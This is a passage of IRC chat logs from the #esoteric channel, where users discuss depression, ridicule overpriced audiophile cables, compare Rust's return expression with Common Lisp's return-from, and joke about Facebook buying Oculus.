that would care about my history of mental health issues or my past hobby of buying experimental synthetic "FOR RESEARCH USE ONLY" psychedelic drugs from china < 1396033610 492123 :nooodl!~nooodl@91.177.77.176 PRIVMSG #esoteric :olsner: no i have a pretty good idea of how smart i am i think! maybe there are certain things that i don't recognize as "smartness". like being able to just "get" things more easily < 1396033619 759870 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :maurer: yeah :/ < 1396033686 702963 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I can't even cook < 1396033693 131843 :nooodl!~nooodl@91.177.77.176 PRIVMSG #esoteric :i take being able to think about abstract stuff for granted! but when i compare to peers at school it's like "huh apparently this is hard to grasp for everyone else" < 1396033725 513369 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Or, I guess I can cook, but I am not very good at it and when things go wrong I break down and don't learn from the experience < 1396033728 356983 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :olsner: I've only much more recently started taking antidepressants < 1396033738 144576 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :not that impressed so far, will try different ones next week < 1396033754 160080 :oklopol!~oklopol@dsl-tkubrasgw1-54fa30-30.dhcp.inet.fi PRIVMSG #esoteric :what's depressing you? < 1396033793 200069 :oklopol!~oklopol@dsl-tkubrasgw1-54fa30-30.dhcp.inet.fi PRIVMSG #esoteric :(because totes my business) < 1396033796 499238 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :that's not really how it works < 1396033830 809228 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :oh, while we're speaking about drugs, can doctors prescribe placebo versions of real medicines? < 1396033892 819595 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :"what do you have pneumonia about" < 1396033907 354311 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :it seems like it should be possible, but the logistics might be tricky < 1396033931 795452 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :olsner, I think it may come under negligence laws or something < 1396033939 498945 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :(this is not a great analogy, but probably gets across my general point) < 1396033944 611104 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Anyway, I am heading off now < 1396033945 449610 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Bye! < 1396033989 624964 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :bye Taneb < 1396034003 18710 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :enjoy your orgy or cooking class or whatever you're off to < 1396034023 354249 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Board games night :) < 1396034046 789362 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :negligence, sure if they did it when someone needs the medicine, but I meant for people who don't actually need the medicine but rather the warm fuzzy feeling of being treated < 1396034071 146182 :oklopol!~oklopol@dsl-tkubrasgw1-54fa30-30.dhcp.inet.fi PRIVMSG #esoteric :well sure, but personally i always get ...bummed for a reason (and often it takes a lot of time to realize what the reason was, for example i really believe i've felt bad for long periods of time because i forgot a dentist appointment, and only started feeling better when i realized that's the reason i felt bad); i like to extrapolate that depression often has an initial cause as well. < 1396034110 198605 :oklopol!~oklopol@dsl-tkubrasgw1-54fa30-30.dhcp.inet.fi PRIVMSG #esoteric :but yeah i guess that's not really the generally agreed reason < 1396034128 79250 :oklopol!~oklopol@dsl-tkubrasgw1-54fa30-30.dhcp.inet.fi PRIVMSG #esoteric :that there is a reason, that is < 1396034136 549007 :oklopol!~oklopol@dsl-tkubrasgw1-54fa30-30.dhcp.inet.fi PRIVMSG #esoteric :yeah i'm being very articulate today < 1396034153 690461 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :as I understand it, real depression is pretty much completely unrelated to that normal "feeling down" for a specific reason you can help < 1396034217 84845 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it's complicated < 1396034249 628934 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :probably if we had a better understanding of the brain and the mind, we would classify what's currently known as "depression" as like six different things < 1396034262 859277 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :(this is almost certainly the case for schizophrenia) < 1396034296 929395 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :mental disorders are loose clusters of symptoms and treatment strategies < 1396034298 898307 :oklopol!~oklopol@dsl-tkubrasgw1-54fa30-30.dhcp.inet.fi PRIVMSG #esoteric :yeah probably < 1396034321 398870 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :for me one aspect of depression is like an extreme form of boredom < 1396034373 109000 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :like usually when people are bored it's not because there's really nothing to do but because none of the possible things to do seem interesting or feasible < 1396034462 241043 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i'm hearing this conversation now < 1396034477 850146 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i have chronic depression but it's nothing like what you describe < 1396034535 269392 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i have so many ideas and things to do that i either get stressed when i try to do too many of them or get more depressed when i realize i can't do most of them < 1396034545 178875 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :interesting < 1396034573 159450 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :my depression also comes from my lack of love and the sorry state of the world < 1396034612 403850 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :the world is pretty fucked up < 1396034635 760150 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I think about that a lot when I'm depressed, but I don't know if it's really a cause for me or just one of many things I could feel bad about < 1396034643 399231 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :with lack of love i mean lack of a romantic partner < 1396034663 148990 :oklopol!~oklopol@dsl-tkubrasgw1-54fa30-30.dhcp.inet.fi PRIVMSG #esoteric :i think the world is awesome :) < 1396034867 838458 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1396035019 479270 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i'm sure there are people for whom it is "about" something < 1396035038 689025 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :certainly if you have concrete things in your life that are painful or stressful, that can make things a lot harder to deal with < 1396035099 349430 :Bike_!~Glossina@wl-nat110.it.wsu.edu JOIN :#esoteric < 1396035122 629795 :Bike_!~Glossina@wl-nat110.it.wsu.edu NICK :Bicyclidine < 1396035176 109859 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Zom-B: I hope you find somebody :) < 1396035281 64351 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I was lonely and angsty and sad for a long time, and things worked out < 1396035286 29442 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I don't know if that's helpful to hear or not < 1396035556 566795 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :https://www.dropbox.com/s/7jwow05u2euhcl4/floater-mandel.png < 1396035558 808816 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :finally done < 1396035768 178847 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :broken image here < 1396035772 760310 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :same < 1396035787 638711 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :just fixed it, but dropbox is indexing < 1396035819 219133 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :done < 1396035867 301433 :ion!ion@heh.fi PRIVMSG #esoteric :http://wathifi.tumblr.com/ < 1396035878 279252 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :can probably be golfed a lot more, but i'm happy with it < 1396035901 819349 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1396035933 381005 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :http://www.whathifi.com/review/furutech-g-320ag < 1396035947 448408 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :holy shit they're doing it with mains cables too? < 1396035969 87943 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :"all digital cables do not sound the same" Dafuq < 1396035982 939881 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :http://www.whathifi.com/review/wireworld-stratus-52 < 1396035988 968838 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :entry-level power cord < 1396035992 198753 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :£`100 < 1396036029 559560 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :monster cables ;D < 1396036068 712882 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :this review is gold. < 1396036081 228999 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I think we discussed "hifi" mains cables here the other year. < 1396036090 856856 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Maybe even this year!) < 1396036158 764370 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :The Ethernet cable thing was already so bizarre. < 1396036339 928510 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"AudioQuest has a complete line of Ethernet cables that consists of the Forest ($29/.75m), Cinnamon ($69/.75m), Vodka ($179/.75m), and Diamond ($595/.75m). -- "First I replaced, all-in-one shot, all of the Ethernet cables from my Apple AirPort Extreme router to my NAS and from my router to my MacBook Pro with the Audioquest Forest cables. -- I would not hesitate buying the Audioquest Forest ... < 1396036345 938249 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :... Ethernet cables. I perceived a more relaxed and natural presentation as compared to the generic cables, --" < 1396036376 370004 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :presentation of /what/ < 1396036405 988521 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"During one session, I did some relatively quick swapping, listening to pieces of the same three tracks, swap, listen to a piece, swap. And here I did not notice much difference if any and I believe I would have been hard pressed to tell you which was which if I didn't know." < 1396036414 234861 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"Next, I went for longer listening between swaps. Full songs and even more than one. Then I'd swap Forest for generic or vice versa and listen some more. Here, I heard a slight but noticeable difference mainly in the texture of vocals—voices sounded less hashy with the Audioquest Forest Ethernet cables. -- There also seemed to be a greater sense of ease as if some underlying noise had been ... < 1396036419 879872 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :... removed." < 1396036431 708769 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :wtf < 1396036434 308814 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"With the Audioquest Ethernet cables in my system, and they are in my system since my music is served from a Network Attached Storage device, music sounded less harsh, with more air and ease and with the Cinnamon I even noted greater bass definition and differentiation between instruments. Music sounded better." < 1396036479 972286 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :The link that we had on-channel not long ago was even better, since it talked about how the worst thing you can do is to install your Ethernet cables the wrong way around. < 1396036484 378455 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Because they're directional. < 1396036486 569140 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :amazon reviews on overpriced cables are usually pretty amusing < 1396036496 428996 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :"I love this cable. Crystal clear audio and video. My only problem was that the instruction manual was very vague and misguiding. Long story short, I got it stuck in my urethra." < 1396036497 458296 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :They only sound good if the music is flowing in the correct direction. < 1396036507 857921 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :575 of 599 people found that review helpful. < 1396036536 699987 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :http://www.chord.co.uk/blog/new-chord-ethernet-cables/ I think it was this one, at least it shows as visited. < 1396036575 488199 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"Put the Indigo Tuned ARAY Streaming cable into our system and the track “comes to life”, the increased ability to hear the skill and the level of understanding between the musicians made for an irresistible way to spend sixteen minutes. Put the Sarum Tuned ARAY Streaming cable in and you’re even “closer to being in the audience”." < 1396036578 839842 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :this makes me glad that i found i could read helmholtz's book trying to connect musical aesthetics to physics, for free < 1396036589 730155 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :because this is some incredible garbage and it's a hundred years later ;_; < 1396036603 800428 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"The construction of Tuned ARAY interconnects is such that although they’ll carry a signal when connected in the opposite direction, the placement of the ARAY in the signal path greatly influences the final perceived sound quality." < 1396036610 941192 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(I'm not sure what an ARAY is.) < 1396036675 358447 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :Silence between each note, a stereo image so solid that you could walk into it, voices at the right height, an orchestra with every instrument perfectly in place. Like being there, like listening to music being created. < 1396036675 904381 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Quit: MindlessDrone < 1396036688 44665 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :Designed & hand built in England since 1985. < 1396036695 257322 :ion!ion@heh.fi PRIVMSG #esoteric :http://www.referencetweaks.com/cms/wp-content/uploads/2013/01/mwdigi.jpg http://www.referencetweaks.com/products/ < 1396036718 638124 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :handcrafted in taiwan, eh < 1396036740 332474 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :Our products stand out by the application of a total new technique in the audio world: The T T L technique, which is a scientific formula in a revolutionary application. The main feature is the rebalancing on sub molecular level. < 1396036811 738324 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :also, what font is that on the device? papyrus?? < 1396036882 758817 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I don't think it's at least standard Papyrus. Somewhat similar, though. < 1396036942 508302 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Papyrus "i" doesn't have that half-serif thing. < 1396037012 910958 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :how can people buy (ie. believe) that kinda crap < 1396037772 408724 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Bicyclidine: I think it's http://www.identifont.com/similar?26N < 1396037816 319508 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :one weird thing about Rust is that because it's expression-oriented, "return" is an expression and can appear anywhere < 1396037822 898394 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :2 + (return 3) < 1396037871 239253 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :the other day I wrote something like match foo { bar if (match baz { quux => return None, _ => true }) => ... } < 1396037886 549872 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :does it jump out? < 1396037891 975100 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :(except part of that was wrapped in a macro so it was reasonable in context) < 1396037907 118004 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it returns from the enclosing function yeah < 1396037917 617642 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :like lisp then :p < 1396037924 439550 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :the type of "return x" is the same as an infinite loop, i.e. it will unify with anything < 1396037932 913409 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :right. < 1396037938 129108 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yeah it is like calling a continuation < 1396037947 620115 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :which is the only way I don't find it incredibly weird < 1396037962 138372 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :well, that, and i meant common lisp has a "return" macro that works the same < 1396037966 559100 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :oh does it? < 1396037972 729529 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :(i don't even know if CL has first class continuations) < 1396037980 109387 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :it doesn't. < 1396037980 807891 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :what does 'return' expand to < 1396037996 658245 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :a special form called return-from that includes the name of the block you're leaving. < 1396038003 139288 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ah < 1396038018 508540 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :so you have like (block foo (block bar (return-from foo 6) (print 7))) => 6, prints nothing < 1396038021 199216 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :people joke that Rust is Linear ML with BCPL syntax < 1396038025 318860 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it's not entirely a joke < 1396038028 28924 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :that sounds scary. < 1396038295 213457 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover QUIT :Ping timeout: 265 seconds < 1396038555 399292 :Slereah!~jackal@117.168.90.79.rev.sfr.net JOIN :#esoteric < 1396038583 201364 :JesseH!~JesseH@oftn/member/JesseH JOIN :#esoteric < 1396038593 671881 :JesseH!~JesseH@oftn/member/JesseH PRIVMSG #esoteric :my derpland is almost 1 year old ;_; < 1396038597 570982 :JesseH!~JesseH@oftn/member/JesseH PRIVMSG #esoteric :derplang* < 1396038619 517820 :JesseH!~JesseH@oftn/member/JesseH PRIVMSG #esoteric :ACTION emotional < 1396038715 987653 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i released the floater-designer application on http://esolangs.org/wiki/Floater < 1396038734 27576 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i wonder what kind of things will be made with it < 1396038758 297611 :Slereah_!~jackal@117.168.90.79.rev.sfr.net QUIT :Ping timeout: 240 seconds < 1396038787 797242 :JesseH!~JesseH@oftn/member/JesseH PRIVMSG #esoteric :Zom-B, That's pretty cool! < 1396039025 489029 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :the language or the designer? < 1396039871 221834 :JesseH!~JesseH@oftn/member/JesseH PRIVMSG #esoteric :both :P < 1396040266 610780 :augur!~augur@129-2-129-32.wireless.umd.edu QUIT :Remote host closed the connection < 1396040305 380045 :augur!~augur@129-2-129-32.wireless.umd.edu JOIN :#esoteric < 1396040478 621171 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Read error: Connection reset by peer < 1396040479 799445 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1396040583 471308 :augur!~augur@129-2-129-32.wireless.umd.edu QUIT :Ping timeout: 268 seconds < 1396040736 637548 :oklopol!~oklopol@dsl-tkubrasgw1-54fa30-30.dhcp.inet.fi PRIVMSG #esoteric :that cat is a nazi < 1396040797 267747 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :oops, the floater-designer is missing some class files < 1396040882 859758 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :fixed < 1396040901 887216 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :nobody complained, so i guess nobody trried it yet < 1396040911 138602 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :ACTION looks at JesseH < 1396040934 982185 :JesseH!~JesseH@oftn/member/JesseH PRIVMSG #esoteric :ACTION just looked at the wiki page :P < 1396040966 649098 :JesseH!~JesseH@oftn/member/JesseH PRIVMSG #esoteric :Glad you fixed it before I tried it though or when I did I probably wouldnt try it again. < 1396040967 95820 :JesseH!~JesseH@oftn/member/JesseH PRIVMSG #esoteric ::D < 1396041113 206372 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1396041296 570898 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu QUIT :Ping timeout: 265 seconds < 1396041308 887841 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1396041743 46570 :Bicyclidine!~Glossina@wl-nat101.it.wsu.edu JOIN :#esoteric < 1396041856 16760 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :quintopia: why is your spiral interpreter on the way back machine? < 1396042282 588131 :spiette!~spiette@2607:fad8:4:6:f2de:f1ff:fe66:77e5 QUIT :Ping timeout: 265 seconds < 1396042641 40806 :Sprocklem!~Sprocklem@unaffiliated/sprocklem JOIN :#esoteric < 1396043675 836809 :MoALTz_!~no@user-109-243-145-237.play-internet.pl QUIT :Read error: Connection reset by peer < 1396043721 508152 :MoALTz_!~no@user-109-243-145-237.play-internet.pl JOIN :#esoteric < 1396044203 127970 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :in http://esolangs.org/wiki/Barely < 1396044243 7719 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :which direction does b add to the IP < 1396044255 985051 :Bicyclidine!~Glossina@wl-nat101.it.wsu.edu QUIT :Ping timeout: 255 seconds < 1396044622 350444 :ion!ion@heh.fi PRIVMSG #esoteric :Hitler's Reaction to Oculus acquisition by Facebook http://youtu.be/C_JfB4YEan4 < 1396045475 862598 :Bicyclidine!~Glossina@wl-nat101.it.wsu.edu JOIN :#esoteric < 1396045822 70444 :AnotherTest!~turingcom@d51a429ca.access.telenet.be QUIT :Ping timeout: 255 seconds < 1396046473 981444 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :why did facebook kill the occulus anyway? < 1396046682 962970 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :kill? < 1396046732 140844 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I thought the term was "acquire". < 1396046746 795144 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :yeah < 1396046794 44435 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :better go with open source http://jarradhope.com/posts/secondsight.html < 1396046984 193511 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :it needs some work though < 1396047007 319079 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :This is just a guess, but it's barely possible Facebook's goal is to make money with it. < 1396047036 199369 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :surely not < 1396047046 789011 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :;) < 1396047060 121677 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i surely hope no Minority Report-style commercials < 1396047088 740314 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :targeted advertising, straight to your retina. < 1396047094 209602 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :what else? < 1396047103 829715 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :it's facebook. < 1396047117 192536 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :When they start buying companies developing tech for hooking up to the optic nerve, then it's time to get worried. < 1396047128 804489 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :At least with a headset, you can still take it off. < 1396047188 42498 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Hah. That's what you think. I can't wait for the RIAA and co to demand software lockable 3d glasses so people won't look away during ads. ;) < 1396047193 576137 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :that excuse is just as lame as saying you can turn your monitor off when you see web ads < 1396047197 966911 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :hmm. MPAA should be first. < 1396047290 794248 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl NICK :Zom-B|zz < 1396047338 217497 :Bicyclidine!~Glossina@wl-nat101.it.wsu.edu QUIT :Ping timeout: 240 seconds < 1396047395 532425 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :[12:49] < int-e> I thought the term was "acquire". < 1396047405 734720 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :why did facebook acquire occulus to kill it off? < 1396047434 551701 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :Zom-B: hard drive failure, among other things < 1396047456 905477 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :zomb: in trusted path, wouldnt the software pause the add when the monitor is turned off? ;-) < 1396047462 421864 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :s/add/ad/ < 1396047618 337448 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Perhaps they should just add a post-ad quiz on its content that you have to answer correctly in order to proceed. < 1396047704 501970 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :why not just require you to purchase what the ad is selling? < 1396047706 447464 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :easier < 1396047744 657840 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Baby steps. < 1396047771 171989 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :you know those train advertisements that play on the window so you only hear it when you lean your head on the glass? < 1396047787 351861 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :i cant wait till they require at least some fraction of train riders put their head on the glass before the train goes < 1396047804 812509 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :No, I don't know those. Sounds fancy. < 1396047822 346009 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :http://www.huffingtonpost.com/2013/07/03/train-window-ads_n_3535574.html < 1396047876 474542 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I've been kind of wondering why there aren't (or are there?) any ads that play when you drive over them, since there's those "musical roads". Maybe it's not high-fidelity enough. < 1396048036 749754 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :We had recently to play with this device, designed for people with no working vocal cords; you touch it to your throat, and then make the necessary vocal tract shapes; the device has a buzzer that provides an excitation, and what comes out is (somewhat) intelligible speech. < 1396048181 467165 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :fizzie: http://www.youtube.com/watch?v=Io8sB9sE9Dw < 1396048261 908172 :MoALTz_!~no@user-109-243-145-237.play-internet.pl QUIT :Quit: Leaving < 1396048362 121697 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1396048657 570666 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 JOIN :#esoteric < 1396048682 806174 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :the permadeath difficulty curve of 2048 is mitigated somewhat by the fact that you can get pretty far just by mashing buttons real fast < 1396048692 293721 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :this is sort of like praising a bad film for being short, but whatever < 1396048926 376389 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :kmc: keep the big pieces on a side; preferrably with the biggest piece in a corner. < 1396049006 878448 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG 